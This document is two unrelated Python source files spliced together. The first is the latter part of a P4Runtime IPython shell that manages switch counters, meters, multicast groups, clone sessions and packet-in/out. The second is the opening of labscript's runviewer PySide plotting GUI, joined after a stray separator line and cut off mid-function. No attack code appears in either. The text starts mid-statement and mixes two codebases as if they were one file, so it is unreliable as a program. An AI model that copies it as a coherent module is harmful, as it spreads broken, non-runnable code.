modify_only=True)
self._entry.counter_id = self.id
self.__doc__ = """
An entry for counter '{}'
Use <self>.info to display the P4Info entry for this counter.
Set the index with <self>.index = <expr>.
To reset it (e.g. for wildcard read), set it to None.
Access byte count and packet count with <self>.byte_count / <self>.packet_count.
To read from the counter, use <self>.read
To write to the counter, use <self>.modify
""".format(counter_name)
self._init = True
def __dir__(self):
return super().__dir__() + ["index", "data"]
def __setattr__(self, name, value):
if name == "index":
if value is None:
self._entry.ClearField('index')
return
if type(value) is not int:
raise UserError("index must be an integer")
self._entry.index.index = value
return
super().__setattr__(name, value)
def __getattr__(self, name):
if name == "index":
return self._entry.index.index
return super().__getattr__(name)
def read(self, function=None):
"""Generate a P4Runtime Read RPC. Supports wildcard reads (just leave
the index unset).
If function is None, returns an iterator. Iterate over it to get all the
counter entries (CounterEntry instances) returned by the
server. Otherwise, function is applied to all the counter entries
returned by the server.
For example:
for c in <self>.read():
print(c)
The above code is equivalent to the following one-liner:
<self>.read(lambda c: print(c))
"""
return super().read(function)
class DirectCounterEntry(_CounterEntryBase):
def __init__(self, direct_counter_name=None):
super().__init__(
P4Type.direct_counter, P4RuntimeEntity.direct_counter_entry,
p4runtime_pb2.DirectCounterEntry, direct_counter_name,
modify_only=True)
self._direct_table_id = self._info.direct_table_id
try:
self._direct_table_name = context.get_name_from_id(self._direct_table_id)
except KeyError:
raise InvalidP4InfoError("direct_table_id {} is not a valid table id".format(
self._direct_table_id))
self._table_entry = TableEntry(self._direct_table_name)
self.__doc__ = """
An entry for direct counter '{}'
Use <self>.info to display the P4Info entry for this direct counter.
Set the table_entry with <self>.table_entry = <TableEntry instance>.
The TableEntry instance must be for the table to which the direct counter is attached.
To reset it (e.g. for wildcard read), set it to None. It is the same as:
<self>.table_entry = TableEntry({})
Access byte count and packet count with <self>.byte_count / <self>.packet_count.
To read from the counter, use <self>.read
To write to the counter, use <self>.modify
""".format(direct_counter_name, self._direct_table_name)
self._init = True
def __dir__(self):
return super().__dir__() + ["table_entry"]
def __setattr__(self, name, value):
if name == "index":
raise UserError("Direct counters are not index-based")
if name == "table_entry":
if value is None:
self._table_entry = TableEntry(self._direct_table_name)
return
if not isinstance(value, TableEntry):
raise UserError("table_entry must be an instance of TableEntry")
if value.name != self._direct_table_name:
raise UserError("This DirectCounterEntry is for table '{}'".format(
self._direct_table_name))
self._table_entry = value
return
super().__setattr__(name, value)
def __getattr__(self, name):
if name == "index":
raise UserError("Direct counters are not index-based")
if name == "table_entry":
return self._table_entry
return super().__getattr__(name)
def _update_msg(self):
super()._update_msg()
if self._table_entry is None:
self._entry.ClearField('table_entry')
else:
self._entry.table_entry.CopyFrom(self._table_entry.msg())
def _from_msg(self, msg):
super()._from_msg(msg)
if msg.HasField('table_entry'):
self._table_entry._from_msg(msg.table_entry)
else:
self._table_entry = None
def read(self, function=None):
"""Generate a P4Runtime Read RPC. Supports wildcard reads (just leave
the index unset).
If function is None, returns an iterator. Iterate over it to get all the
direct counter entries (DirectCounterEntry instances) returned by the
server. Otherwise, function is applied to all the direct counter entries
returned by the server.
For example:
for c in <self>.read():
print(c)
The above code is equivalent to the following one-liner:
<self>.read(lambda c: print(c))
"""
return super().read(function)
class _MeterEntryBase(_P4EntityBase):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self._meter_type = self._info.spec.unit
self._config = None
def __dir__(self):
return super().__dir__() + _MeterConfig.attrs() + ["clear_config"]
def __call__(self, **kwargs):
for name, value in kwargs.items():
setattr(self, name, value)
return self
def __setattr__(self, name, value):
if name[0] == "_" or not self._init:
super().__setattr__(name, value)
return
if name == "name":
raise UserError("Cannot change meter name")
if name in _MeterConfig.attrs():
self._config = _MeterConfig.set_param(
self._config, self.name, self._meter_type, name, value)
return
if name == "config":
if value is None:
self._config = None
return
raise UserError("Cannot set 'config' directly")
super().__setattr__(name, value)
def __getattr__(self, name):
if name in _MeterConfig.attrs():
self._config, r = _MeterConfig.get_param(
self._config, self.name, self._meter_type, name)
return r
if name == "config":
if self._config is None:
self._config = _MeterConfig(self.name, self._meter_type)
return self._config
return super().__getattr__(name)
def _from_msg(self, msg):
self._entry.CopyFrom(msg)
if msg.HasField('config'):
self._config = _MeterConfig(self.name, self._meter_type)
self._config._from_msg(msg.config)
else:
self._config = None
def _update_msg(self):
if self._config is None:
self._entry.ClearField('config')
else:
self._entry.config.CopyFrom(self._config.msg())
def clear_config(self):
"""Clear the meter config, same as <self>.config = None"""
self._config = None
class MeterEntry(_MeterEntryBase):
def __init__(self, meter_name=None):
super().__init__(
P4Type.meter, P4RuntimeEntity.meter_entry,
p4runtime_pb2.MeterEntry, meter_name,
modify_only=True)
self._entry.meter_id = self.id
self.__doc__ = """
An entry for meter '{}'
Use <self>.info to display the P4Info entry for this meter.
Set the index with <self>.index = <expr>.
To reset it (e.g. for wildcard read), set it to None.
Access meter rates and burst sizes with:
<self>.cir
<self>.cburst
<self>.pir
<self>.pburst
To read from the meter, use <self>.read
To write to the meter, use <self>.modify
""".format(meter_name)
self._init = True
def __dir__(self):
return super().__dir__() + ["index", "config"]
def __setattr__(self, name, value):
if name == "index":
if value is None:
self._entry.ClearField('index')
return
if type(value) is not int:
raise UserError("index must be an integer")
self._entry.index.index = value
return
super().__setattr__(name, value)
def __getattr__(self, name):
if name == "index":
return self._entry.index.index
return super().__getattr__(name)
def read(self, function=None):
"""Generate a P4Runtime Read RPC. Supports wildcard reads (just leave
the index unset).
If function is None, returns an iterator. Iterate over it to get all the
meter entries (MeterEntry instances) returned by the
server. Otherwise, function is applied to all the meter entries
returned by the server.
For example:
for c in <self>.read():
print(c)
The above code is equivalent to the following one-liner:
<self>.read(lambda c: print(c))
"""
return super().read(function)
class DirectMeterEntry(_MeterEntryBase):
def __init__(self, direct_meter_name=None):
super().__init__(
P4Type.direct_meter, P4RuntimeEntity.direct_meter_entry,
p4runtime_pb2.DirectMeterEntry, direct_meter_name,
modify_only=True)
self._direct_table_id = self._info.direct_table_id
try:
self._direct_table_name = context.get_name_from_id(self._direct_table_id)
except KeyError:
raise InvalidP4InfoError("direct_table_id {} is not a valid table id".format(
self._direct_table_id))
self._table_entry = TableEntry(self._direct_table_name)
self.__doc__ = """
An entry for direct meter '{}'
Use <self>.info to display the P4Info entry for this direct meter.
Set the table_entry with <self>.table_entry = <TableEntry instance>.
The TableEntry instance must be for the table to which the direct meter is attached.
To reset it (e.g. for wildcard read), set it to None. It is the same as:
<self>.table_entry = TableEntry({})
Access meter rates and burst sizes with:
<self>.cir
<self>.cburst
<self>.pir
<self>.pburst
To read from the meter, use <self>.read
To write to the meter, use <self>.modify
""".format(direct_meter_name, self._direct_table_name)
self._init = True
def __dir__(self):
return super().__dir__() + ["table_entry"]
def __setattr__(self, name, value):
if name == "index":
raise UserError("Direct meters are not index-based")
if name == "table_entry":
if value is None:
self._table_entry = TableEntry(self._direct_table_name)
return
if not isinstance(value, TableEntry):
raise UserError("table_entry must be an instance of TableEntry")
if value.name != self._direct_table_name:
raise UserError("This DirectMeterEntry is for table '{}'".format(
self._direct_table_name))
self._table_entry = value
return
super().__setattr__(name, value)
def __getattr__(self, name):
if name == "index":
raise UserError("Direct meters are not index-based")
if name == "table_entry":
return self._table_entry
return super().__getattr__(name)
def _update_msg(self):
super()._update_msg()
if self._table_entry is None:
self._entry.ClearField('table_entry')
else:
self._entry.table_entry.CopyFrom(self._table_entry.msg())
def _from_msg(self, msg):
super()._from_msg(msg)
if msg.HasField('table_entry'):
self._table_entry._from_msg(msg.table_entry)
else:
self._table_entry = None
def read(self, function=None):
"""Generate a P4Runtime Read RPC. Supports wildcard reads (just leave
the index unset).
If function is None, returns an iterator. Iterate over it to get all the
direct meter entries (DirectMeterEntry instances) returned by the
server. Otherwise, function is applied to all the direct meter entries
returned by the server.
For example:
for c in <self>.read():
print(c)
The above code is equivalent to the following one-liner:
<self>.read(lambda c: print(c))
"""
return super().read(function)
class P4RuntimeEntityBuilder:
def __init__(self, obj_type, entity_type, entity_cls):
self._obj_type = obj_type
self._names = sorted([name for name, _ in context.get_objs(obj_type)])
self._entity_type = entity_type
self._entity_cls = entity_cls
self.__doc__ = """Construct a {} entity
Usage: <var> = {}["<{} name>"]
This is equivalent to <var> = {}(<{} name>)
Use command '{}' to see list of {}
""".format(entity_cls.__name__, entity_type.name, obj_type.pretty_name,
entity_cls.__name__, obj_type.pretty_name,
obj_type.p4info_name, obj_type.pretty_names)
def _ipython_key_completions_(self):
return self._names
def __getitem__(self, name):
obj = context.get_obj(self._obj_type, name)
if obj is None:
raise UserError("{} '{}' does not exist".format(
self._obj_type.pretty_name, name))
return self._entity_cls(name)
def __setitem__(self, name, value):
raise UserError("Operation not allowed")
def _repr_pretty_(self, p, cycle):
p.text(self.__doc__)
def __str__(self):
return "Construct a {} entity".format(self.entity_cls.__name__)
class Replica:
"""
A port "replica" (port number + instance id) used for multicast and clone session programming.
Construct with Replica(egress_port, instance=<instance>).
You can set / get attributes egress_port (required), instance (default 0).
"""
def __init__(self, egress_port=None, instance=0):
if egress_port is None:
raise UserError("egress_port is required")
self._msg = p4runtime_pb2.Replica()
self._msg.egress_port = egress_port
self._msg.instance = instance
def __dir__(self):
return ["port", "egress_port", "instance"]
def __setattr__(self, name, value):
if name[0] == "_":
super().__setattr__(name, value)
return
if name == "egress_port" or name == "port":
if type(value) is not int:
raise UserError("egress_port must be an integer")
self._msg.egress_port = value
return
if name == "instance":
if type(value) is not int:
raise UserError("instance must be an integer")
self._msg.instance = value
return
super().__setattr__(name, value)
def __getattr__(self, name):
if name == "egress_port" or name == "port":
return self._msg.egress_port
if name == "instance":
return self._msg.instance
return super().__getattr__(name)
def __str__(self):
return str(self._msg)
def _repr_pretty_(self, p, cycle):
p.text(str(p))
class MulticastGroupEntry(_EntityBase):
def __init__(self, group_id=0):
super().__init__(
P4RuntimeEntity.packet_replication_engine_entry,
p4runtime_pb2.PacketReplicationEngineEntry)
self.group_id = group_id
self.replicas = []
self.__doc__ = """
Multicast group entry.
Create an instance with multicast_group_entry(<group_id>).
Add replicas with <self>.add(<eg_port_1>, <instance_1>).add(<eg_port_2>, <instance_2>)...
"""
self._init = True
def __dir__(self):
return ["group_id", "replicas"]
def __setattr__(self, name, value):
if name[0] == "_":
super().__setattr__(name, value)
return
elif name == "group_id":
if type(value) is not int:
raise UserError("group_id must be an integer")
elif name == "replicas":
if type(value) is not list:
raise UserError("replicas must be a list of Replica objects")
for r in value:
if type(r) is not Replica:
raise UserError("replicas must be a list of Replica objects")
super().__setattr__(name, value)
def _from_msg(self, msg):
self.group_id = msg.multicast_group_entry.multicast_group_id
for r in msg.multicast_group_entry.replicas:
self.add(r.egress_port, r.instance)
def read(self, function=None):
"""Generate a P4Runtime Read RPC to read a single MulticastGroupEntry
(wildcard reads not supported).
If function is None, return a MulticastGroupEntry instance (or None if
the provided group id does not exist). If function is not None, function
is applied to the MulticastGroupEntry instance (if any).
"""
if function is None:
return next(super().read())
else:
super().read(function)
def _update_msg(self):
entry = p4runtime_pb2.PacketReplicationEngineEntry()
mcg_entry = entry.multicast_group_entry
mcg_entry.multicast_group_id = self.group_id
for replica in self.replicas:
r = mcg_entry.replicas.add()
r.CopyFrom(replica._msg)
self._entry = entry
def _validate_msg(self):
if self.group_id == 0:
raise UserError("0 is not a valid group_id for MulticastGroupEntry")
def add(self, egress_port=None, instance=0):
"""Add a replica to the multicast group."""
self.replicas.append(Replica(egress_port, instance))
return self
class CloneSessionEntry(_EntityBase):
def __init__(self, session_id=0):
super().__init__(
P4RuntimeEntity.packet_replication_engine_entry,
p4runtime_pb2.PacketReplicationEngineEntry)
self.session_id = session_id
self.replicas = []
self.cos = 0
self.packet_length_bytes = 0
self.__doc__ = """
Clone session entry.
Create an instance with clone_session_entry(<session_id>).
Add replicas with <self>.add(<eg_port_1>, <instance_1>).add(<eg_port_2>, <instance_2>)...
Access class of service with <self>.cos.
Access truncation length with <self>.packet_length_bytes.
"""
self._init = True
def __dir__(self):
return ["session_id", "replicas", "cos", "packet_length_bytes"]
def __setattr__(self, name, value):
if name[0] == "_":
super().__setattr__(name, value)
return
elif name == "session_id":
if type(value) is not int:
raise UserError("session_id must be an integer")
elif name == "replicas":
if type(value) is not list:
raise UserError("replicas must be a list of Replica objects")
for r in value:
if type(r) is not Replica:
raise UserError("replicas must be a list of Replica objects")
elif name == "cos":
if type(value) is not int:
raise UserError("cos must be an integer")
elif name == "packet_length_bytes":
if type(value) is not int:
raise UserError("packet_length_bytes must be an integer")
super().__setattr__(name, value)
def _from_msg(self, msg):
self.session_id = msg.clone_session_entry.session_id
for r in msg.clone_session_entry.replicas:
self.add(r.egress_port, r.instance)
self.cos = msg.clone_session_entry.class_of_service
self.packet_length_bytes = msg.clone_session_entry.packet_length_bytes
def read(self, function=None):
"""Generate a P4Runtime Read RPC to read a single CloneSessionEntry
(wildcard reads not supported).
If function is None, return a CloneSessionEntry instance (or None if
the provided group id does not exist). If function is not None, function
is applied to the CloneSessionEntry instance (if any).
"""
if function is None:
return next(super().read())
else:
super().read(function)
def _update_msg(self):
entry = p4runtime_pb2.PacketReplicationEngineEntry()
cs_entry = entry.clone_session_entry
cs_entry.session_id = self.session_id
for replica in self.replicas:
r = cs_entry.replicas.add()
r.CopyFrom(replica._msg)
cs_entry.class_of_service = self.cos
cs_entry.packet_length_bytes = self.packet_length_bytes
self._entry = entry
def add(self, egress_port=None, instance=0):
"""Add a replica to the clone session."""
self.replicas.append(Replica(egress_port, instance))
return self
class PacketMetadata:
def __init__(self, metadata_info_list):
self._md_info = OrderedDict()
self._md = OrderedDict()
# Initialize every metadata to zero value
for md in metadata_info_list:
self._md_info[md.name] = md
self._md[md.name] = self._parse_md('0', md)
self._set_docstring()
def _set_docstring(self):
self.__doc__ = "Available metadata:\n\n"
for name, info in self._md_info.items():
self.__doc__ += str(info)
self.__doc__ += """
Set a metadata value with <self>.['<metadata_name>'] = '...'
You may also use <self>.set(<md_name>='<value>')
"""
def __dir__(self):
return ["clear"]
def _get_md_info(self, name):
if name in self._md_info:
return self._md_info[name]
raise UserError("'{}' is not a valid metadata name".format(name))
def __getitem__(self, name):
_ = self._get_md_info(name)
print(self._md.get(name, "Unset"))
def _parse_md(self, value, md_info):
if type(value) is not str:
raise UserError("Metadata value must be a string")
md = p4runtime_pb2.PacketMetadata()
md.metadata_id = md_info.id
md.value = bytes_utils.parse_value(value.strip(), md_info.bitwidth)
return md
def __setitem__(self, name, value):
md_info = self._get_md_info(name)
self._md[name] = self._parse_md(value, md_info)
def _ipython_key_completions_(self):
return self._md_info.keys()
def set(self, **kwargs):
for name, value in kwargs.items():
self[name] = value
def clear(self):
self._md.clear()
def values(self):
return self._md.values()
class PacketIn():
def __init__(self):
ctrl_pkt_md = P4Objects(P4Type.controller_packet_metadata)
self.md_info_list = {}
if "packet_in" in ctrl_pkt_md:
self.p4_info = ctrl_pkt_md["packet_in"]
for md_info in self.p4_info.metadata:
self.md_info_list[md_info.name] = md_info
self.packet_in_queue = queue.Queue()
def _packet_in_recv_func(packet_in_queue):
while True:
msg = client.get_stream_packet("packet", timeout=None)
if not msg:
break
packet_in_queue.put(msg)
self.recv_t = Thread(target=_packet_in_recv_func, args=(self.packet_in_queue, ))
self.recv_t.start()
def sniff(self, function=None, timeout=None):
"""
Return an iterator of packet-in messages.
If the function is provided, we do not return an iterator and instead we apply
the function to every packet-in message.
"""
msgs = []
if timeout is not None and timeout < 0:
raise ValueError("Timeout can't be a negative number.")
if timeout is None:
while True:
try:
msgs.append(self.packet_in_queue.get(block=True))
except KeyboardInterrupt:
# User sends a Ctrl+C -> breaking
break
else: # timeout parameter is provided
deadline = time.time() + timeout
remaining_time = timeout
while remaining_time > 0:
try:
msgs.append(self.packet_in_queue.get(block=True, timeout=remaining_time))
remaining_time = deadline - time.time()
except KeyboardInterrupt:
# User sends an interrupt(e.g., Ctrl+C).
break
except queue.Empty:
# No item available on timeout. Exiting
break
if function is None:
return iter(msgs)
else:
for msg in msgs:
function(msg)
class PacketOut:
def __init__(self, payload=b'', **kwargs):
self.p4_info = P4Objects(P4Type.controller_packet_metadata)["packet_out"]
self.payload = payload
self.metadata = PacketMetadata(self.p4_info.metadata)
if kwargs:
for key, value in kwargs.items():
self.metadata[key] = value
def _update_msg(self):
self._entry = p4runtime_pb2.PacketOut()
self._entry.payload = self.payload
self._entry.metadata.extend(self.metadata.values())
def __setattr__(self, name, value):
if name == "payload" and type(value) is not bytes:
raise UserError("payload must be a bytes type")
if name == "metadata" and type(value) is not PacketMetadata:
raise UserError("metadata must be a PacketMetadata type")
return super().__setattr__(name, value)
def __dir__(self):
return ["metadata", "send", "payload"]
def __str__(self):
self._update_msg()
return str(_repr_pretty_p4runtime(self._entry))
def _repr_pretty_(self, p, cycle):
self._update_msg()
p.text(_repr_pretty_p4runtime(self._entry))
def send(self):
self._update_msg()
msg = p4runtime_pb2.StreamMessageRequest()
msg.packet.CopyFrom(self._entry)
client.stream_out_q.put(msg)
def Write(input_):
"""
Reads a WriteRequest from a file (text format) and sends it to the server.
It rewrites the device id and election id appropriately.
"""
req = p4runtime_pb2.WriteRequest()
if os.path.isfile(input_):
with open(input_, 'r') as f:
google.protobuf.text_format.Merge(f.read(), req)
client.write(req)
else:
raise UserError(
"Write only works with files at the moment and '{}' is not a file".format(
input_))
def APIVersion():
"""
Returns the version of the P4Runtime API implemented by the server, using
the Capabilities RPC.
"""
return client.api_version()
# see https://ipython.readthedocs.io/en/stable/config/details.html
class MyPrompt(Prompts):
def in_prompt_tokens(self, cli=None):
return [(Token.Prompt, 'P4Runtime sh'),
(Token.PrompSeparator, ' >>> ')]
FwdPipeConfig = namedtuple('FwdPipeConfig', ['p4info', 'bin'])
def get_arg_parser():
def election_id(arg):
try:
nums = tuple(int(x) for x in arg.split(','))
if len(nums) != 2:
raise argparse.ArgumentError
return nums
except Exception:
raise argparse.ArgumentError(
"Invalid election id, expected <Hi>,<Lo>")
def pipe_config(arg):
try:
paths = FwdPipeConfig(*[x for x in arg.split(',')])
if len(paths) != 2:
raise argparse.ArgumentError
return paths
except Exception:
raise argparse.ArgumentError(
"Invalid pipeline config, expected <p4info path>,<binary config path>")
parser = argparse.ArgumentParser(description='P4Runtime shell')
parser.add_argument('--device-id',
help='Device id',
type=int, action='store', default=1)
parser.add_argument('--grpc-addr',
help='P4Runtime gRPC server address',
metavar='<IP>:<port>',
type=str, action='store', default='localhost:9559')
parser.add_argument('-v', '--verbose', help='Increase output verbosity',
action='store_true')
parser.add_argument('--election-id',
help='Election id to use',
metavar='<Hi>,<Lo>',
type=election_id, action='store', default=(1, 0))
parser.add_argument('--role-name',
help='Role name of this client',
type=str, action='store')
parser.add_argument('--config',
help='If you want the shell to push a pipeline config to the server first',
metavar='<p4info path (text)>,<binary config path>',
type=pipe_config, action='store', default=None)
return parser
def setup(device_id=1, grpc_addr='localhost:9559', election_id=(1, 0), role_name=None, config=None):
global client
logging.debug("Creating P4Runtime client")
client = P4RuntimeClient(device_id, grpc_addr, election_id, role_name)
if config is not None:
try:
p4info_path = config.p4info
bin_path = config.bin
except Exception:
raise ValueError("Argument 'config' must be a FwdPipeConfig namedtuple")
try:
client.set_fwd_pipe_config(p4info_path, bin_path)
except FileNotFoundError as e:
logging.critical(e)
client.tear_down()
sys.exit(1)
except P4RuntimeException as e:
logging.critical("Error when setting config")
logging.critical(e)
client.tear_down()
sys.exit(1)
except Exception:
logging.critical("Error when setting config")
client.tear_down()
sys.exit(1)
try:
p4info = client.get_p4info()
except P4RuntimeException as e:
logging.critical("Error when retrieving P4Info")
logging.critical(e)
client.tear_down()
sys.exit(1)
logging.debug("Parsing P4Info message")
context.set_p4info(p4info)
def teardown():
global client
logging.debug("Tearing down P4Runtime client")
client.tear_down()
client = None
def main():
parser = get_arg_parser()
args = parser.parse_args()
if args.verbose:
logging.basicConfig(level=logging.DEBUG)
setup(args.device_id, args.grpc_addr, args.election_id, args.role_name, args.config)
c = Config()
c.TerminalInteractiveShell.banner1 = '*** Welcome to the IPython shell for P4Runtime ***'
c.TerminalInteractiveShell.prompts_class = MyPrompt
c.TerminalInteractiveShell.autocall = 2
c.TerminalInteractiveShell.show_rewritten_input = False
user_ns = {
"TableEntry": TableEntry,
"MatchKey": MatchKey,
"Action": Action,
"CounterEntry": CounterEntry,
"DirectCounterEntry": DirectCounterEntry,
"MeterEntry": MeterEntry,
"DirectMeterEntry": DirectMeterEntry,
"ActionProfileMember": ActionProfileMember,
"GroupMember": GroupMember,
"ActionProfileGroup": ActionProfileGroup,
"OneshotAction": OneshotAction,
"Oneshot": Oneshot,
"p4info": context.p4info,
"Write": Write,
"Replica": Replica,
"MulticastGroupEntry": MulticastGroupEntry,
"CloneSessionEntry": CloneSessionEntry,
"APIVersion": APIVersion,
"global_options": global_options,
}
for obj_type in P4Type:
user_ns[obj_type.p4info_name] = P4Objects(obj_type)
supported_entities = [
(P4RuntimeEntity.table_entry, P4Type.table, TableEntry),
(P4RuntimeEntity.counter_entry, P4Type.counter, CounterEntry),
(P4RuntimeEntity.direct_counter_entry, P4Type.direct_counter, DirectCounterEntry),
(P4RuntimeEntity.meter_entry, P4Type.meter, MeterEntry),
(P4RuntimeEntity.direct_meter_entry, P4Type.direct_meter, DirectMeterEntry),
(P4RuntimeEntity.action_profile_member, P4Type.action_profile, ActionProfileMember),
(P4RuntimeEntity.action_profile_group, P4Type.action_profile, ActionProfileGroup),
]
for entity, p4type, cls in supported_entities:
user_ns[entity.name] = P4RuntimeEntityBuilder(p4type, entity, cls)
user_ns["multicast_group_entry"] = MulticastGroupEntry
user_ns["clone_session_entry"] = CloneSessionEntry
user_ns["packet_in"] = PacketIn() # Singleton packet_in object to handle all packet-in cases
user_ns["packet_out"] = PacketOut
start_ipython(user_ns=user_ns, config=c, argv=[])
client.tear_down()
if __name__ == '__main__': # pragma: no cover
main()
|
main.pyw | #####################################################################
# #
# /main.pyw #
# #
# Copyright 2014, Monash University #
# #
# This file is part of the program runviewer, in the labscript #
# suite (see http://labscriptsuite.org), and is licensed under the #
# Simplified BSD License. See the license.txt file in the root of #
# the project for the full license. #
# #
#####################################################################
import os
import sys
import time
import threading
import zprocess.locking, labscript_utils.h5_lock, h5py
zprocess.locking.set_client_process_name('runviewer')
from PySide.QtCore import *
from PySide.QtGui import *
from PySide.QtUiTools import QUiLoader
import numpy
# must be imported after PySide
import pyqtgraph as pg
pg.setConfigOption('background', 'w')
pg.setConfigOption('foreground', 'k')
import labscript_utils.excepthook
from qtutils import *
from blacs.connections import ConnectionTable
import labscript_devices
from resample import resample as _resample
SHOT_MODEL__COLOUR_INDEX = 0
SHOT_MODEL__CHECKBOX_INDEX = 1
SHOT_MODEL__PATH_INDEX = 1
CHANNEL_MODEL__CHECKBOX_INDEX = 0
CHANNEL_MODEL__CHANNEL_INDEX = 0
# stupid hack to work around the fact that PySide screws with the type of a variable when it goes into a model. Enums are converted to ints, which then
# can't be interpreted by QColor correctly (for example)
# unfortunately Qt doesn't provide a python list structure of enums, so you have to build the list yourself.
def int_to_enum(enum_list, value):
for item in enum_list:
if item == value:
return item
class ColourDelegate(QItemDelegate):
def __init__(self, view, *args, **kwargs):
QItemDelegate.__init__(self, *args, **kwargs)
self._view = view
self._colours = [Qt.black, Qt.red, Qt.green, Qt.blue, Qt.cyan, Qt.magenta, Qt.yellow, Qt.gray, Qt.darkRed, Qt.darkGreen, Qt.darkBlue, Qt.darkCyan, Qt.darkMagenta, Qt.darkYellow, Qt.darkGray, Qt.lightGray]
self._current_colour_index = 0
def get_next_colour(self):
colour = self._colours[self._current_colour_index]
self._current_colour_index +=1
if self._current_colour_index >= len(self._colours):
self._current_colour_index = 0
return colour
def createEditor(self, parent, option, index):
editor = QComboBox(parent)
#colours = QColor.colorNames()
for colour in self._colours:
pixmap = QPixmap(20,20)
pixmap.fill(colour)
editor.addItem(QIcon(pixmap),'', colour)
editor.activated.connect(lambda index, editor=editor: self._view.commitData(editor))
editor.activated.connect(lambda index, editor=editor: self._view.closeEditor(editor,QAbstractItemDelegate.NoHint))
QTimer.singleShot(10,editor.showPopup)
return editor
def setEditorData(self, editor, index):
value = index.model().data(index, Qt.UserRole)
for i in range(editor.count()):
if editor.itemData(i) == value():
editor.setCurrentIndex(i)
break
def setModelData(self, editor, model, index):
icon = editor.itemIcon(editor.currentIndex())
colour = editor.itemData(editor.currentIndex())
# Note, all data being written to the model must be read out of the editor PRIOR to calling model.setData()
# This is because a call to model.setData() triggers setEditorData(), which messes up subsequent
# calls to the editor to determine the currently selected item/data
model.setData(index, icon, Qt.DecorationRole)
model.setData(index,lambda clist=self._colours,colour=colour:int_to_enum(clist,colour), Qt.UserRole)
def updateEditorGeometry(self, editor, option, index):
editor.setGeometry(option.rect);
class RunViewer(object):
def __init__(self):
self.ui = QUiLoader().load(os.path.join(os.path.dirname(os.path.realpath(__file__)),'main.ui'))
#setup shot treeview model
self.shot_model = QStandardItemModel()
self.shot_model.setHorizontalHeaderLabels(['colour','path'])
self.ui.shot_treeview.setModel(self.shot_model)
self.shot_model.itemChanged.connect(self.on_shot_selection_changed)
self.shot_colour_delegate = ColourDelegate(self.ui.shot_treeview)
self.ui.shot_treeview.setItemDelegateForColumn(0, self.shot_colour_delegate)
#setup channel treeview model
self.channel_model = QStandardItemModel()
self.channel_model.setHorizontalHeaderLabels(['channel'])
self.ui.channel_treeview.setModel(self.channel_model)
self.channel_model.itemChanged.connect(self.update_plots)
# create a hidden plot widget that all plots can link their x-axis too
hidden_plot = pg.PlotWidget(name='runviewer - time axis link')
hidden_plot.setMinimumHeight(40)
hidden_plot.setMaximumHeight(40)
hidden_plot.setLabel('bottom', 'Time', units='s')
hidden_plot.showAxis('right', True)
hidden_plot_item = hidden_plot.plot([0,1],[0,0])
self._hidden_plot = (hidden_plot, hidden_plot_item)
self.ui.plot_layout.addWidget(hidden_plot)
# connect signals
self.ui.reset_x_axis.clicked.connect(self.on_x_axis_reset)
self.ui.reset_y_axis.clicked.connect(self.on_y_axes_reset)
self.ui.channel_move_up.clicked.connect(self._move_up)
self.ui.channel_move_down.clicked.connect(self._move_down)
self.ui.channel_move_to_top.clicked.connect(self._move_top)
self.ui.channel_move_to_bottom.clicked.connect(self._move_bottom)
self.ui.enable_selected_shots.clicked.connect(self._enable_selected_shots)
self.ui.disable_selected_shots.clicked.connect(self._disable_selected_shots)
self.ui.add_shot.clicked.connect(self.on_add_shot)
self.ui.show()
# internal variables
#self._channels_list = {}
self.plot_widgets = {}
self.plot_items = {}
# start resample thread
self._resample = False
self._thread = threading.Thread(target=self._resample_thread)
self._thread.daemon = True
self._thread.start()
# self.temp_load_shots()
shot = Shot(r'C:\Users\Phil\Documents\Programming\labscript_suite\labscript\example.h5')
self.load_shot(shot)
def on_add_shot(self):
dialog = QFileDialog(self.ui,"Select file to load", r'C:\Users\Phil\Documents\Programming\labscript_suite\labscript', "HDF5 files (*.h5 *.hdf5)")
dialog.setViewMode(QFileDialog.Detail)
dialog.setFileMode(QFileDialog.ExistingFile)
if dialog.exec_():
selected_files = dialog.selectedFiles()
popup_warning = False
for file in selected_files:
try:
filepath = str(file)
# Qt has this weird behaviour where if you type in the name of a file that exists
# but does not have the extension you have limited the dialog to, the OK button is greyed out
# but you can hit enter and the file will be selected.
# So we must check the extension of each file here!
if filepath.endswith('.h5') or filepath.endswith('.hdf5'):
shot = Shot(filepath)
self.load_shot(shot)
else:
popup_warning = True
except:
popup_warning = True
raise
if popup_warning:
message = QMessageBox()
message.setText("Warning: Some shots were not loaded because they were not valid hdf5 files")
message.setIcon(QMessageBox.Warning)
message.setWindowTitle("Runviewer")
message.setStandardButtons(QMessageBox.Ok)
message.exec_()
def on_shot_selection_changed(self, item):
if self.shot_model.indexFromItem(item).column() == SHOT_MODEL__CHECKBOX_INDEX:
# add or remove a colour for this shot
checked = item.checkState()
row = self.shot_model.indexFromItem(item).row()
colour_item = self.shot_model.item(row,SHOT_MODEL__COLOUR_INDEX)
if checked:
colour = self.shot_colour_delegate.get_next_colour()
colour_item.setEditable(True)
pixmap = QPixmap(20,20)
pixmap.fill(colour)
icon = QIcon(pixmap)
else:
colour = None
icon = None
colour_item.setEditable(False)
colour_item.setData(icon, Qt.DecorationRole)
colour_item.setData(lambda clist=self.shot_colour_delegate._colours,colour=colour:int_to_enum(clist,colour), Qt.UserRole)
# model.setData(index, editor.itemIcon(editor.currentIndex()),
# model.setData(index, editor.itemData(editor.currentIndex()), Qt.UserRole)
self.update_channels_treeview()
elif self.shot_model.indexFromItem(item).column() == SHOT_MODEL__COLOUR_INDEX:
#update the plot colours
# get reference to the changed shot
current_shot = self.shot_model.item(self.shot_model.indexFromItem(item).row(),SHOT_MODEL__CHECKBOX_INDEX).data()
# find and update the pen of the plot items
for channel in self.plot_items.keys():
for shot in self.plot_items[channel]:
if shot == current_shot:
self.plot_items[channel][shot].setPen(pg.mkPen(QColor(item.data(Qt.UserRole)()), width=2))
def load_shot(self, shot):
# add shot to shot list
# Create Items
items = []
colour_item = QStandardItem('')
colour_item.setEditable(False)
colour_item.setToolTip('Double-click to change colour')
items.append(colour_item)
check_item = QStandardItem(shot.path)
check_item.setEditable(False)
check_item.setCheckable(True)
check_item.setCheckState(Qt.Unchecked) # options are Qt.Checked OR Qt.Unchecked
check_item.setData(shot)
items.append(check_item)
# script name
# path_item = QStandardItem(shot.path)
# path_item.setEditable(False)
# items.append(path_item)
self.shot_model.appendRow(items)
# only do this if we are checking the shot we are adding
#self.update_channels_treeview()
def get_selected_shots_and_colours(self):
# get the ticked shots
ticked_shots = {}
for i in range(self.shot_model.rowCount()):
item = self.shot_model.item(i,SHOT_MODEL__CHECKBOX_INDEX)
